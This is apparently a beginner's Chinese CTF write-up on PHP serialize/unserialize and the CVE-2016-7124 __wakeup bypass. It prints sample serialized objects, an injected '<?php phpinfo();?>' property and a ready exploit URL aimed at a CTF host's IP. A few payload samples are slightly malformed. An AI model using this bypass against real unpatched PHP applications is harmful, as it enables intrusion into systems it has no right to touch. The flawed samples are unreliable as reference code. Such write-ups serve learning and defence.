源自一道ctf题
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
对序列化反序列化进行了理解。
serialize()是序列化函数,它可以保存一个的所有 变量 ,但是不会保存对象的方法,只会保存类的名字。
<?php class A{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } class B{ public $flag = '111'; } $a = new A(); $b = new B(); $a = serialize($a); $b = serialize($b); echo($a); echo($b); ?>
结果如下
O:1:"A":1:{s:4:"flag";s:3:"111";}
O:1:"B":1:{s:4:"flag";s:3:"111";}
没有什么区别
反序列化漏洞
unserialize()函数可把序列化数字符串变成php原来的值
所以字符串的参数可控,导致漏洞产生
比如将flag赋值<?php phpinfo;?>
<?php $A = 'O:1:"A":1:{s:4:"flag";s:3:"111";}'; $B = 'O:1:"B":1:{s:4:"flag";s:3:"<?php phpinfo();?>";}';
#使用在线编译器编译报错,有过滤,本地未尝试。 print_r(unserialize($A)); print_r(unserialize($B)); ?>
同时还有可能SQL注入利用..由于是新手暂未接触,遇见会回来补充。
回到CTF,CVE-2016-7124,当序列化字符串中的表示对象属性个数值大于真实值时会跳过__wakeup的过滤。
<?php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } $a = new xctf(); $a = serialize($a); echo($a); #:4:"xctf":1:{s:4:"flag";s:3:"111";} $test1 = unserialize($a); echo($test1); //////////////漏洞利用.../////////////////// $b='O:4:"xctf":4{s:4:"flag";s:3:"111";}'; ////////////////////////////////////////////
http://111.198.29.45:42223/?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;} ?>
php在线编译:http://code.php.net.cn/b37q111a
参考:https://xz.aliyun.com/t/378